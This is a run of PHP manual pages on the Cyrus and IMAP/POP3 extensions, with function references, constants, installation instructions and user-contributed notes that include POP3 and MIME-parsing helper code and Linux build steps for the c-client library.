CYRUS_CONN_NONSYNCLITERAL (integer)
CYRUS_CONN_INITIALRESPONSE (integer)
CYRUS_CALLBACK_NUMBERED (integer)
CYRUS_CALLBACK_NOLITERAL (integer)

User Contributed Notes

There are no user contributed notes for this page.


Cyrus Functions

Table of Contents

  • cyrus_authenticate — Authenticate against a Cyrus IMAP server
  • cyrus_bind — Bind callbacks to a Cyrus IMAP connection
  • cyrus_close — Close connection to a Cyrus IMAP server
  • cyrus_connect — Connect to a Cyrus IMAP server
  • cyrus_query — Send a query to a Cyrus IMAP server
  • cyrus_unbind — Unbind ...

User Contributed Notes

There are no user contributed notes for this page.


Authenticate against a Cyrus IMAP server

  • « Cyrus Functions
  • cyrus_bind »
  • PHP Manual
  • Cyrus Functions
  • Authenticate against a Cyrus IMAP server

cyrus_authenticate

(PHP 4 >= 4.1.0, PECL cyrus 1.0)

cyrus_authenticate — Authenticate against a Cyrus IMAP server

Description

void cyrus_authenticate ( resource $connection [, string $mechlist [, string $service [, string $user [, int $minssf [, int $maxssf [, string $authname [, string $password ]]]]]]] )
Warning

This function is currently not documented; only its argument list is available.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Bind callbacks to a Cyrus IMAP connection

  • « cyrus_authenticate
  • cyrus_close »
  • PHP Manual
  • Cyrus Functions
  • Bind callbacks to a Cyrus IMAP connection

cyrus_bind

(PHP 4 >= 4.1.0, PECL cyrus 1.0)

cyrus_bind — Bind callbacks to a Cyrus IMAP connection

Description

bool cyrus_bind ( resource $connection , array $callbacks )

Binds callbacks to a Cyrus IMAP connection.

Parameters

connection

The connection handle.

callbacks

An array of callbacks.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Close connection to a Cyrus IMAP server

  • « cyrus_bind
  • cyrus_connect »
  • PHP Manual
  • Cyrus Functions
  • Close connection to a Cyrus IMAP server

cyrus_close

(PHP 4 >= 4.1.0, PECL cyrus 1.0)

cyrus_close — Close connection to a Cyrus IMAP server

Description

bool cyrus_close ( resource $connection )

Closes the connection to a Cyrus IMAP server.

Parameters

connection

The connection handle.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Connect to a Cyrus IMAP server

  • « cyrus_close
  • cyrus_query »
  • PHP Manual
  • Cyrus Functions
  • Connect to a Cyrus IMAP server

cyrus_connect

(PHP 4 >= 4.1.0, PECL cyrus 1.0)

cyrus_connect — Connect to a Cyrus IMAP server

Description

resource cyrus_connect ([ string $host [, string $port [, int $flags ]]] )

Connects to a Cyrus IMAP server.

Parameters

host

The Cyrus IMAP host name.

port

The port number.

flags

Return Values

Returns a connection handler on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Send a query to a Cyrus IMAP server

  • « cyrus_connect
  • cyrus_unbind »
  • PHP Manual
  • Cyrus Functions
  • Send a query to a Cyrus IMAP server

cyrus_query

(PHP 4 >= 4.1.0, PECL cyrus 1.0)

cyrus_query — Send a query to a Cyrus IMAP server

Description

array cyrus_query ( resource $connection , string $query )

Sends a query to a Cyrus IMAP server.

Parameters

connection

The connection handle.

query

The query string.

Return Values

Returns an associative array with the following keys: text, msgno, and keyword.

User Contributed Notes

There are no user contributed notes for this page.


Unbind ...

  • « cyrus_query
  • IMAP »
  • PHP Manual
  • Cyrus Functions
  • Unbind ...

cyrus_unbind

(PHP 4 >= 4.1.0, PECL cyrus 1.0)

cyrus_unbind — Unbind ...

Description

bool cyrus_unbind ( resource $connection , string $trigger_name )
Warning

This function is currently not documented; only its argument list is available.

Parameters

connection

The connection handle.

trigger_name

The trigger name.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


IMAP, POP3 and NNTP

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • IMAP Functions
    • imap_8bit — Convert an 8bit string to a quoted-printable string
    • imap_alerts — Returns all IMAP alert messages that have occurred
    • imap_append — Append a string message to a specified mailbox
    • imap_base64 — Decode BASE64 encoded text
    • imap_binary — Convert an 8bit string to a base64 string
    • imap_body — Read the message body
    • imap_bodystruct — Read the structure of a specified body section of a specific message
    • imap_check — Check current mailbox
    • imap_clearflag_full — Clears flags on messages
    • imap_close — Close an IMAP stream
    • imap_create — Alias of imap_createmailbox
    • imap_createmailbox — Create a new mailbox
    • imap_delete — Mark a message for deletion from current mailbox
    • imap_deletemailbox — Delete a mailbox
    • imap_errors — Returns all of the IMAP errors that have occurred
    • imap_expunge — Delete all messages marked for deletion
    • imap_fetch_overview — Read an overview of the information in the headers of the given message
    • imap_fetchbody — Fetch a particular section of the body of the message
    • imap_fetchheader — Returns header for a message
    • imap_fetchmime — Fetch MIME headers for a particular section of the message
    • imap_fetchstructure — Read the structure of a particular message
    • imap_fetchtext — Alias of imap_body
    • imap_gc — Clears IMAP cache
    • imap_get_quota — Retrieve the quota level settings, and usage statics per mailbox
    • imap_get_quotaroot — Retrieve the quota settings per user
    • imap_getacl — Gets the ACL for a given mailbox
    • imap_getmailboxes — Read the list of mailboxes, returning detailed information on each one
    • imap_getsubscribed — List all the subscribed mailboxes
    • imap_header — Alias of imap_headerinfo
    • imap_headerinfo — Read the header of the message
    • imap_headers — Returns headers for all messages in a mailbox
    • imap_last_error — Gets the last IMAP error that occurred during this page request
    • imap_list — Read the list of mailboxes
    • imap_listmailbox — Alias of imap_list
    • imap_listscan — Returns the list of mailboxes that matches the given text
    • imap_listsubscribed — Alias of imap_lsub
    • imap_lsub — List all the subscribed mailboxes
    • imap_mail_compose — Create a MIME message based on given envelope and body sections
    • imap_mail_copy — Copy specified messages to a mailbox
    • imap_mail_move — Move specified messages to a mailbox
    • imap_mail — Send an email message
    • imap_mailboxmsginfo — Get information about the current mailbox
    • imap_mime_header_decode — Decode MIME header elements
    • imap_msgno — Gets the message sequence number for the given UID
    • imap_num_msg — Gets the number of messages in the current mailbox
    • imap_num_recent — Gets the number of recent messages in current mailbox
    • imap_open — Open an IMAP stream to a mailbox
    • imap_ping — Check if the IMAP stream is still active
    • imap_qprint — Convert a quoted-printable string to an 8 bit string
    • imap_rename — Alias of imap_renamemailbox
    • imap_renamemailbox — Rename an old mailbox to new mailbox
    • imap_reopen — Reopen IMAP stream to new mailbox
    • imap_rfc822_parse_adrlist — Parses an address string
    • imap_rfc822_parse_headers — Parse mail headers from a string
    • imap_rfc822_write_address — Returns a properly formatted email address given the mailbox, host, and personal info
    • imap_savebody — Save a specific body section to a file
    • imap_scan — Alias of imap_listscan
    • imap_scanmailbox — Alias of imap_listscan
    • imap_search — This function returns an array of messages matching the given search criteria
    • imap_set_quota — Sets a quota for a given mailbox
    • imap_setacl — Sets the ACL for a given mailbox
    • imap_setflag_full — Sets flags on messages
    • imap_sort — Gets and sort messages
    • imap_status — Returns status information on a mailbox
    • imap_subscribe — Subscribe to a mailbox
    • imap_thread — Returns a tree of threaded message
    • imap_timeout — Set or fetch imap timeout
    • imap_uid — This function returns the UID for the given message sequence number
    • imap_undelete — Unmark the message which is marked deleted
    • imap_unsubscribe — Unsubscribe from a mailbox
    • imap_utf7_decode — Decodes a modified UTF-7 encoded string
    • imap_utf7_encode — Converts ISO-8859-1 string to modified UTF-7 text
    • imap_utf8 — Converts MIME-encoded text to UTF-8

User Contributed Notes

opto 16-Mar-2012 09:08
it seems that in new PHP versions, $ssl must be specified even if no ssl is used - I got it working for POP3 only after adding /notls (honour some post I found somewhere)
Klaus
dev at bluehead dot com dot br 28-Nov-2011 03:13
Because I don't know regular expressions, I hacked the mail_parse_headers() to properly get the last line from the header string:

<?php
function mail_parse_headers($headers)
{

    $headers=preg_replace('/\r\n\s+/m', '',$headers);
    $headers=trim($headers)."\r\n"; /* a hack for the preg_match_all in the next line */
    preg_match_all('/([^: ]+): (.+?(?:\r\n\s(?:.+?))*)?\r\n/m', $headers, $matches);
    foreach ($matches[1] as $key =>$value) $result[$value]=$matches[2][$key];
    return($result);
}
?>
Wil Barath 26-Feb-2010 04:54
For all the people coming here praying for:

1) a dead-easy way to read MIME attachments, or
2) a dead-easy way to access POP3 folders

Look no further.

<?php
function pop3_login($host,$port,$user,$pass,$folder="INBOX",$ssl=false)
{
    $ssl=($ssl==false)?"/novalidate-cert":"";
    return (imap_open("{"."$host:$port/pop3$ssl"."}$folder",$user,$pass));
}
function pop3_stat($connection)
{
    $check = imap_mailboxmsginfo($connection);
    return ((array)$check);
}
function pop3_list($connection,$message="")
{
    if ($message)
    {
        $range=$message;
    } else {
        $MC = imap_check($connection);
        $range = "1:".$MC->Nmsgs;
    }
    $response = imap_fetch_overview($connection,$range);
    foreach ($response as $msg) $result[$msg->msgno]=(array)$msg;
        return $result;
}
function pop3_retr($connection,$message)
{
    return(imap_fetchheader($connection,$message,FT_PREFETCHTEXT));
}
function pop3_dele($connection,$message)
{
    return(imap_delete($connection,$message));
}
function mail_parse_headers($headers)
{
    $headers=preg_replace('/\r\n\s+/m', '',$headers);
    preg_match_all('/([^: ]+): (.+?(?:\r\n\s(?:.+?))*)?\r\n/m', $headers, $matches);
    foreach ($matches[1] as $key =>$value) $result[$value]=$matches[2][$key];
    return($result);
}
function mail_mime_to_array($imap,$mid,$parse_headers=false)
{
    $mail = imap_fetchstructure($imap,$mid);
    $mail = mail_get_parts($imap,$mid,$mail,0);
    if ($parse_headers) $mail[0]["parsed"]=mail_parse_headers($mail[0]["data"]);
    return($mail);
}
function mail_get_parts($imap,$mid,$part,$prefix)
{
    $attachments=array();
    $attachments[$prefix]=mail_decode_part($imap,$mid,$part,$prefix);
    if (isset($part->parts)) // multipart
    {
        $prefix = ($prefix == "0")?"":"$prefix.";
        foreach ($part->parts as $number=>$subpart)
            $attachments=array_merge($attachments, mail_get_parts($imap,$mid,$subpart,$prefix.($number+1)));
    }
    return $attachments;
}
function mail_decode_part($connection,$message_number,$part,$prefix)
{
    $attachment = array();

    if($part->ifdparameters) {
        foreach($part->dparameters as $object) {
            $attachment[strtolower($object->attribute)]=$object->value;
            if(strtolower($object->attribute) == 'filename') {
                $attachment['is_attachment'] = true;
                $attachment['filename'] = $object->value;
            }
        }
    }

    if($part->ifparameters) {
        foreach($part->parameters as $object) {
            $attachment[strtolower($object->attribute)]=$object->value;
            if(strtolower($object->attribute) == 'name') {
                $attachment['is_attachment'] = true;
                $attachment['name'] = $object->value;
            }
        }
    }

    $attachment['data'] = imap_fetchbody($connection, $message_number, $prefix);
    if($part->encoding == 3) { // 3 = BASE64
        $attachment['data'] = base64_decode($attachment['data']);
    }
    elseif($part->encoding == 4) { // 4 = QUOTED-PRINTABLE
        $attachment['data'] = quoted_printable_decode($attachment['data']);
    }
    return($attachment);
}
?>

[EDIT BY danbrown AT php DOT net: Contains a bugfix by "mn26826" on 09-JUN-2010, which fixed the erroneous reference to $imap as the parameter passed to imap_mailboxmsginfo() within the user function pop3_stat().  This was intended to be $connection.]

[EDIT BY visualmind AT php DOT net: Contains a bugfix by "elias-jobview" on 17-AUG-2010, which fixed the error in pop3_list function which didn't have: return $result]

[EDIT BY danbrown AT php DOT net: Contains a bugfix by "chrismeistre" on 09-SEP-2010, which fixed the erroneous reference to $mbox (should be $connection) in the pop3_list() function.]


Introduction

These functions enable you to operate with the IMAP protocol, as well as the NNTP, POP3 and local mailbox access methods.

Be warned, however, that some IMAP functions will not work correctly with the POP protocol.

User Contributed Notes

scott at scottgurley dot com 29-Aug-2013 10:30
Thanks Wil Barath for the great script - with php5.3 I ran into an issue - imap_open is triggering a notice which, in my case, is triggering the script to end and giving me a Unknown: Mailbox is empty (errflg=1) error. To fix that, add "OP_SILENT" to the imap_open line to make it:
return (imap_open("{"."$host:$port/pop3$ssl"."}$folder",$user,$pass,OP_SILENT));
Wil Barath 26-Feb-2010 04:58
For all the people coming here praying for:

1) a dead-easy way to read MIME attachments, or
2) a dead-easy way to access POP3 folders

Look no further.

<?php
function pop3_login($host,$port,$user,$pass,$folder="INBOX",$ssl=false)
{
    $ssl=($ssl==false)?"/novalidate-cert":"";
    return (imap_open("{"."$host:$port/pop3$ssl"."}$folder",$user,$pass));
}
function pop3_stat($connection)
{
    $check = imap_mailboxmsginfo($imap);
    return ((array)$check);
}
function pop3_list($connection,$message="")
{
    if ($message)
    {
        $range=$message;
    } else {
        $MC = imap_check($mbox);
        $range = "1:".$MC->Nmsgs;
    }
    $response = imap_fetch_overview($mbox,$range);
    foreach ($response as $msg) $result[$msg->msgno]=(array)$msg;
}
function pop3_retr($connection,$message)
{
    return(imap_fetchheader($connection,$message,FT_PREFETCHTEXT));
}
function pop3_dele($connection,$message)
{
    return(imap_delete($connection,$message));
}
function mail_parse_headers($headers)
{
    $headers=preg_replace('/\r\n\s+/m', '',$headers);
    preg_match_all('/([^: ]+): (.+?(?:\r\n\s(?:.+?))*)?\r\n/m', $headers, $matches);
    foreach ($matches[1] as $key =>$value) $result[$value]=$matches[2][$key];
    return($result);
}
function mail_mime_to_array($imap,$mid,$parse_headers=false)
{
    $mail = imap_fetchstructure($imap,$mid);
    $mail = mail_get_parts($imap,$mid,$mail,0);
    if ($parse_headers) $mail[0]["parsed"]=mail_parse_headers($mail[0]["data"]);
    return($mail);
}
function mail_get_parts($imap,$mid,$part,$prefix)
{
    $attachments=array();
    $attachments[$prefix]=mail_decode_part($imap,$mid,$part,$prefix);
    if (isset($part->parts)) // multipart
    {
        $prefix = ($prefix == "0")?"":"$prefix.";
        foreach ($part->parts as $number=>$subpart)
            $attachments=array_merge($attachments, mail_get_parts($imap,$mid,$subpart,$prefix.($number+1)));
    }
    return $attachments;
}
function mail_decode_part($connection,$message_number,$part,$prefix)
{
    $attachment = array();

    if($part->ifdparameters) {
        foreach($part->dparameters as $object) {
            $attachment[strtolower($object->attribute)]=$object->value;
            if(strtolower($object->attribute) == 'filename') {
                $attachment['is_attachment'] = true;
                $attachment['filename'] = $object->value;
            }
        }
    }

    if($part->ifparameters) {
        foreach($part->parameters as $object) {
            $attachment[strtolower($object->attribute)]=$object->value;
            if(strtolower($object->attribute) == 'name') {
                $attachment['is_attachment'] = true;
                $attachment['name'] = $object->value;
            }
        }
    }

    $attachment['data'] = imap_fetchbody($connection, $message_number, $prefix);
    if($part->encoding == 3) { // 3 = BASE64
        $attachment['data'] = base64_decode($attachment['data']);
    }
    elseif($part->encoding == 4) { // 4 = QUOTED-PRINTABLE
        $attachment['data'] = quoted_printable_decode($attachment['data']);
    }
    return($attachment);
}
?>


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

panchtatvam at gmail dot com 23-May-2014 04:25
For Fedora 20
===========

Install php-imap:
sudo yum install php-imap

Then restart httpd :
sudo service httpd restart
Robin Scurr 06-Feb-2014 02:20
This applies to SUSE Linux

When I did "php -m" at the bash prompt, imap WAS listed as installed, however the results of <?php echo phpinfo(); ?> DID NOT have imap anywhere? All the *.ini files were processed from the \etc\php5\conf.d directory EXCEPT the imap.ini file.

I fixed this by adding to the file \etc\php5\apache2\php.ini the line:

extension=imap.so

... even though a file called imap.ini contained that same entry in \etc\php5\conf.d?

Explicitly entering the extension=imap.so in the php5.ini file fixed - you do have to restart PHP (reboot) after making the entry....

All is well now.
marcin at koziarz dot pl 13-May-2013 04:25
In ArchLinux, a php package provides this module, but it is disabled by default.
Simply uncomment a line (remove semicolon) in /etc/php/php.ini:

;extension=imap.so

to

extension=imap.so

and then, restart PHP.
dale3h 13-Jan-2009 10:31
In CentOS:

yum install php-imap

Works like a charm!
LZZ 08-Dec-2008 07:11
On Gentoo:

edit /etc/make.conf and include imap to the USE flags,
then run

emerge php
dlaplant at integresystems dot com 02-Sep-2008 10:24
For rhel4 add the libc-client-devel package
clay at scvalleypopcorn dot com 02-Aug-2008 09:38
apt-get install php5-imap

Works well also.... Enjoy
Josecito 28-May-2008 04:21
To install the IMAP module on Red Hat Linux Enterprise 4 (RHEL4):
- Open a terminal window
- If you're not root, become root with su
- type:
RPM -i php-imap
(RPM will download, install and resolve dependencies)
- restart your web server with:
service httpd restart

I hope this helps newbies (like me).


Requirements

This extension requires the c-client library to be installed. Grab the latest version from » ftp://ftp.cac.washington.edu/imap/ and compile it.

It's important that you do not copy the IMAP source files directly into the system include directory as there may be conflicts. Instead, create a new directory inside the system include directory, such as /usr/local/imap-2000b/ (location and name depend on your setup and IMAP version), and inside this new directory create additional directories named lib/ and include/. From the c-client directory from your IMAP source tree, copy all the *.h files into include/ and all the *.c files into lib/. Additionally when you compiled IMAP, a file named c-client.a was created. Also put this in the lib/ directory but rename it as libc-client.a.

Note:

To build the c-client library with SSL or/and Kerberos support read the docs supplied with the package.

Note: In Mandrake Linux, the IMAP library (libc-client.a) is compiled without Kerberos support. A separate version with SSL (client-PHP4.a) is installed. The library must be recompiled in order to add Kerberos support.

User Contributed Notes

crabb1d at gmail dot com 10-Sep-2013 12:02
For those using Ubuntu and who are completely daunted by compiling this, it's easy under Ubuntu:

Install libc-client-dev
# sudo apt-get install libc-client-dev

Install PHP5 imap:
# sudo apt-get install php5-imap

Restart Apache
# sudo service apache2 reload

Should work for most people.
Anonymous 20-Jul-2013 07:04
When compiling IMAP 2007f with php 5.3.27 on a 64 bit OL5.7 machine, add in the Makefile: EXTRACFLAGS=-fPIC and EXTRAAUTHENTICATORS=gss
Anonymous 04-Oct-2011 07:58
When compiling IMAP on a 64 bit machine, use: make EXTRACFLAGS=-fPIC.
ldi at email dot cz 04-Aug-2010 07:09
After few hours of testing it on CentOS 5 64 bit I'd like to share the steps required to compile imap with php:

1. Install openssl:

   yum install openssl openssl-devel

2. If you don't have openssl compiled and installed in /usr/local/ssl create symlink:

   ln -s /usr/lib64/openssl/engines/ /usr/local/ssl

3. Add the libraries:

   ln -s /usr/include/ /usr/local/ssl/include

4. Compile IMAP

  cd /path/to/imap_src
  make lnp SSLTYPE=unix

5. Copy files as described above
 mkdir lib
 mkdir include
 cp c-client/*.c lib/
 cp c-client/*.h include/
 cp c-client/c-client.a lib/libc-client.a

6. Compile PHP
  cd /path/to/php/src
  ./configure --with-imap=/path/to/imap_src --with-libdir=lib64
Nick 02-Jul-2010 07:06
If you run into an error similar to the following when compiling / making PHP:

errno 0x21c /usr/local/imap-2007e/lib/libc-client.a(netmsg.o)
ld: fatal: relocations remain against allocatable but non-writable sections
make: Fatal error: Command failed for target `libphp5.la'

You need to recompile the IMAP library and add -fpic or -fPIC to your CFLAGS.

See:
http://bugs.php.net/bug.php?id=35465

Also, if you compiled OpenSSL from source, you'll need to do the same, as you'll get error messages for libc-client.a
eelco at care dot nl 17-Mar-2010 11:12
Spent hours and hours on compiling PHP with IMAP support on CentOS 64-bit but after many trial and error sessions I got if fixed.

If you have set the '--with-libdir=lib64' flag and you encounter the the 'cannot find the c-client library' error while compiling, try to create a symlink 'lib64' to 'lib' in your imap installation dir.

Apparantly, PHP will search only in lib64 directories if the flag is set. This also applies on the IMAP library but documentation lacks on this point.


Installation

To get these functions to work, you have to compile PHP with --with-imap[=DIR] , where DIR is the c-client install prefix. From our example above, you would use --with-imap=/usr/local/imap-2000b . This location depends on where you created this directory according to the description above. Windows users may include the php_imap.dll DLL in php.ini.

IMAP is not supported on systems earlier than Windows 2000. This is because it uses encryption functions in order to enable SSL connections to the mail servers.

Note: Depending on how the c-client was configured, you might also need to add --with-imap-ssl=/path/to/openssl/ and/or --with-kerberos=/path/to/kerberos to the PHP configure line.

Warning

The IMAP, recode, YAZ and Cyrus extensions cannot be used in conjuction, because they share the same internal symbols. Note: Yaz 2.0 and above does not suffer from this problem.

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

NIL (integer)
OP_DEBUG (integer)
OP_READONLY (integer)
Open mailbox read-only
OP_ANONYMOUS (integer)
Don't use or update a .newsrc for news (NNTP only)
OP_SHORTCACHE (integer)
OP_SILENT (integer)
OP_PROTOTYPE (integer)
OP_HALFOPEN (integer)
For IMAP and NNTP names, open a connection but don't open a mailbox.
OP_EXPUNGE (integer)
OP_SECURE (integer)
CL_EXPUNGE (integer)
silently expunge the mailbox before closing when calling imap_close()
FT_UID (integer)
The parameter is a UID
FT_PEEK (integer)
Do not set the \Seen flag if not already set
FT_NOT (integer)
FT_INTERNAL (integer)
The return string is in internal format, will not canonicalize to CRLF.
FT_PREFETCHTEXT (integer)
ST_UID (integer)
The sequence argument contains UIDs instead of sequence numbers
ST_SILENT (integer)
ST_SET (integer)
CP_UID (integer)
the sequence numbers contain UIDS
CP_MOVE (integer)
Delete the messages from the current mailbox after copying with imap_mail_copy()
SE_UID (integer)
Return UIDs instead of sequence numbers
SE_FREE (integer)
SE_NOPREFETCH (integer)
Don't prefetch searched messages
SO_FREE (integer)
SO_NOSERVER (integer)
SA_MESSAGES (integer)
SA_RECENT (integer)
SA_UNSEEN (integer)
SA_UIDNEXT (integer)
SA_UIDVALIDITY (integer)
SA_ALL (integer)
LATT_NOINFERIORS (integer)
This mailbox has no "children" (there are no mailboxes below this one).
LATT_NOSELECT (integer)
This is only a container, not a mailbox - you cannot open it.
LATT_MARKED (integer)
This mailbox is marked. Only used by UW-IMAPD.
LATT_UNMARKED (integer)
This mailbox is not marked. Only used by UW-IMAPD.
SORTDATE (integer)
Sort criteria for imap_sort(): message Date
SORTARRIVAL (integer)
Sort criteria for imap_sort(): arrival date
SORTFROM (integer)
Sort criteria for imap_sort(): mailbox in first From address
SORTSUBJECT (integer)
Sort criteria for imap_sort(): message subject
SORTTO (integer)
Sort criteria for imap_sort(): mailbox in first To address
SORTCC (integer)
Sort criteria for imap_sort(): mailbox in first cc address
SORTSIZE (integer)
Sort criteria for imap_sort(): size of message in octets
TYPETEXT (integer)
TYPEMULTIPART (integer)
TYPEMESSAGE (integer)
TYPEAPPLICATION (integer)
TYPEAUDIO (integer)
TYPEIMAGE (integer)
TYPEVIDEO (integer)
TYPEOTHER (integer)
ENC7BIT (integer)
ENC8BIT (integer)
ENCBINARY (integer)
ENCBASE64 (integer)
ENCQUOTEDPRINTABLE (integer)
ENCOTHER (integer)
IMAP_OPENTIMEOUT (integer)
IMAP_READTIMEOUT (integer)
IMAP_WRITETIMEOUT (integer)
IMAP_CLOSETIMEOUT (integer)
LATT_REFERRAL (integer)
LATT_HASCHILDREN (integer)
LATT_HASNOCHILDREN (integer)
TYPEMODEL (integer)
IMAP_GC_ELT (integer)
Garbage collector, clear message cache elements.
IMAP_GC_ENV (integer)
Garbage collector, clear envelopes and bodies.
IMAP_GC_TEXTS (integer)
Garbage collector, clear texts.

User Contributed Notes

There are no user contributed notes for this page.


IMAP Functions

See Also

This document can't go into detail on all the topics touched by the provided functions. Further information is provided by the documentation of the c-client library source (docs/internal.txt). and the following RFC documents:

  • » RFC2821: Simple Mail Transfer Protocol (SMTP).
  • » RFC2822: Standard for ARPA internet text messages.
  • » RFC2060: Internet Message Access Protocol (IMAP) Version 4rev1.
  • » RFC1939: Post Office Protocol Version 3 (POP3).
  • » RFC977: Network News Transfer Protocol (NNTP).
  • » RFC2076: Common Internet Message Headers.
  • » RFC2045 , » RFC2046 , » RFC2047 , » RFC2048 & » RFC2049: Multipurpose Internet Mail Extensions (MIME).
A detailed overview is also available in the books » Programming Internet Email by David Wood and » Managing IMAP by Dianna Mullet & Kevin Mullet.

Table of Contents

  • imap_8bit — Convert an 8bit string to a quoted-printable string
  • imap_alerts — Returns all IMAP alert messages that have occurred
  • imap_append — Append a string message to a specified mailbox
  • imap_base64 — Decode BASE64 encoded text
  • imap_binary — Convert an 8bit string to a base64 string
  • imap_body — Read the message body
  • imap_bodystruct — Read the structure of a specified body section of a specific message
  • imap_check — Check current mailbox
  • imap_clearflag_full — Clears flags on messages
  • imap_close — Close an IMAP stream
  • imap_create — Alias of imap_createmailbox
  • imap_createmailbox — Create a new mailbox
  • imap_delete — Mark a message for deletion from current mailbox
  • imap_deletemailbox — Delete a mailbox
  • imap_errors — Returns all of the IMAP errors that have occurred
  • imap_expunge — Delete all messages marked for deletion
  • imap_fetch_overview — Read an overview of the information in the headers of the given message
  • imap_fetchbody — Fetch a particular section of the body of the message
  • imap_fetchheader — Returns header for a message
  • imap_fetchmime — Fetch MIME headers for a particular section of the message
  • imap_fetchstructure — Read the structure of a particular message
  • imap_fetchtext — Alias of imap_body
  • imap_gc — Clears IMAP cache
  • imap_get_quota — Retrieve the quota level settings, and usage statics per mailbox
  • imap_get_quotaroot — Retrieve the quota settings per user
  • imap_getacl — Gets the ACL for a given mailbox
  • imap_getmailboxes — Read the list of mailboxes, returning detailed information on each one
  • imap_getsubscribed — List all the subscribed mailboxes
  • imap_header — Alias of imap_headerinfo
  • imap_headerinfo — Read the header of the message
  • imap_headers — Returns headers for all messages in a mailbox
  • imap_last_error — Gets the last IMAP error that occurred during this page request
  • imap_list — Read the list of mailboxes
  • imap_listmailbox — Alias of imap_list
  • imap_listscan — Returns the list of mailboxes that matches the given text
  • imap_listsubscribed — Alias of imap_lsub
  • imap_lsub — List all the subscribed mailboxes
  • imap_mail_compose — Create a MIME message based on given envelope and body sections
  • imap_mail_copy — Copy specified messages to a mailbox
  • imap_mail_move — Move specified messages to a mailbox
  • imap_mail — Send an email message
  • imap_mailboxmsginfo — Get information about the current mailbox
  • imap_mime_header_decode — Decode MIME header elements
  • imap_msgno — Gets the message sequence number for the given UID
  • imap_num_msg — Gets the number of messages in the current mailbox
  • imap_num_recent — Gets the number of recent messages in current mailbox
  • imap_open — Open an IMAP stream to a mailbox
  • imap_ping — Check if the IMAP stream is still active
  • imap_qprint — Convert a quoted-printable string to an 8 bit string
  • imap_rename — Alias of imap_renamemailbox
  • imap_renamemailbox — Rename an old mailbox to new mailbox
  • imap_reopen — Reopen IMAP stream to new mailbox
  • imap_rfc822_parse_adrlist — Parses an address string
  • imap_rfc822_parse_headers — Parse mail headers from a string
  • imap_rfc822_write_address — Returns a properly formatted email address given the mailbox, host, and personal info
  • imap_savebody — Save a specific body section to a file
  • imap_scan — Alias of imap_listscan
  • imap_scanmailbox — Alias of imap_listscan
  • imap_search — This function returns an array of messages matching the given search criteria
  • imap_set_quota — Sets a quota for a given mailbox
  • imap_setacl — Sets the ACL for a given mailbox
  • imap_setflag_full — Sets flags on messages
  • imap_sort — Gets and sort messages
  • imap_status — Returns status information on a mailbox
  • imap_subscribe — Subscribe to a mailbox
  • imap_thread — Returns a tree of threaded message
  • imap_timeout — Set or fetch imap timeout
  • imap_uid — This function returns the UID for the given message sequence number
  • imap_undelete — Unmark the message which is marked deleted
  • imap_unsubscribe — Unsubscribe from a mailbox
  • imap_utf7_decode — Decodes a modified UTF-7 encoded string
  • imap_utf7_encode — Converts ISO-8859-1 string to modified UTF-7 text
  • imap_utf8 — Converts MIME-encoded text to UTF-8

User Contributed Notes

Eelco 21-Apr-2011 11:41
I used the instructions from Chris (thanks Chris) to recompile the imap.so module for CentOS 5 (PHP 5.2.11). I didn't want to recompile all PHP extensions only imap.so.

So here is my version of recompiling imap.so for PHP 5.2.11 based on the instructions of Chris.

0) Install the dependencies
yum groupinstall "Development Tools"
yum install openssl-devel
yum install krb5 krb5-devel
yum install pam-devel
1) Create a temporary folder and cd to it.
# mkdir ~/php-imap && cd ~/php-imap
2) Download c-client.tar.Z
# wget ftp://ftp.cac.washington.edu/imap/c-client.tar.Z
3) Extract the c-client.tar.Z file, which would create the imap-2007e folder at this moment.
# tar -zxf c-client.tar.Z
4) Download php source code using. Use the version of the php installed on the machine (php --version)
Extract the php-*.rpm file to get the php-*.tar.bz2 source package
# wget http://3es.atomicrocketturtle.com/packages/ php/php-5.2.11-3.art.src.rpm
# rpm2cpio php-5.2.11-3.art.src.rpm | cpio -idmv
# tar xvjf php-5.2.11.tar.bz2
5) Install php-imap plugin using or you can simply just add the php ini file for the imap.so extension
# sudo yum install php-imap
6) Go to the imap-2007e folder and edit the Makefile such that the 'EXTRACFLAGS=' line reads: 'EXTRACFLAGS=-fPIC'
7) Compile c-client.
# make lr5  IP6=4
8) Go to the php source folder and run the configure script with the following arguments:
# ./configure --disable-all --with-imap=shared,<path to imap-2007e folder> --with-imap-ssl --with-openssl=/usr
9) Compile php
# make
10) Copy/replace the imap.so file from the ./modules folder to the php module folder.
# sudo cp ./modules/imap.so /usr/lib64/php/modules
11) Restart Apache
# sudo /etc/init.d/httpd restart
12) Check imap section of <?php phpinfo(); ?>, and it should only list IMAP c-Client Version and SSL Support. The Kerberos Support should NOT be listed here!
chris dot kistner at gmail dot com 06-Jan-2011 01:57
The IMAP php plugin doesn't work by default with Microsoft Exchange 2007 server, so I had to recompile php with the c-client without Kerberos support.

Also, I wanted to compile it as a shared library (imap.so).

The quick and easy way that I've used to do this on Fedora Core 13 & 14 x64 was:
1) Create a temporary folder and cd to it.
2) Download c-client.tar.Z from ftp://ftp.cac.washington.edu/imap/
3) Extract the c-client.tar.Z file, using 'tar -zxf c-client.tar.Z', which would create the imap-2007e folder at this moment.
4) Download php source code using 'yumdownloader --source php' *(a)
Extract the php-*.rpm file to get the php-*.tar.bz2 source package *(b)
5) Install php-imap plugin using 'sudo yum install php-imap', or you can simply just add the php ini file for the imap.so extension
6) Go to the imap-2007e folder and edit the Makefile such that the 'EXTRACFLAGS=' line reads: 'EXTRACFLAGS=-fPIC'
7) Compile c-client. I had to use 'make lfd IP6=4'
8) Go to the php source folder and run the configure script with the following arguments: './configure --with-imap=shared,<path to imap-2007e folder> --with-imap-ssl'
eg. I used './configure --with-imap=shared,/home/chris/imap-2007e --with-imap-ssl'
9) Compile php by simply running 'make' *(c)
10) Copy/replace the imap.so file from the ./modules folder to your PC's php module folder. I used 'sudo cp ./modules/imap.so /usr/lib64/php/modules'
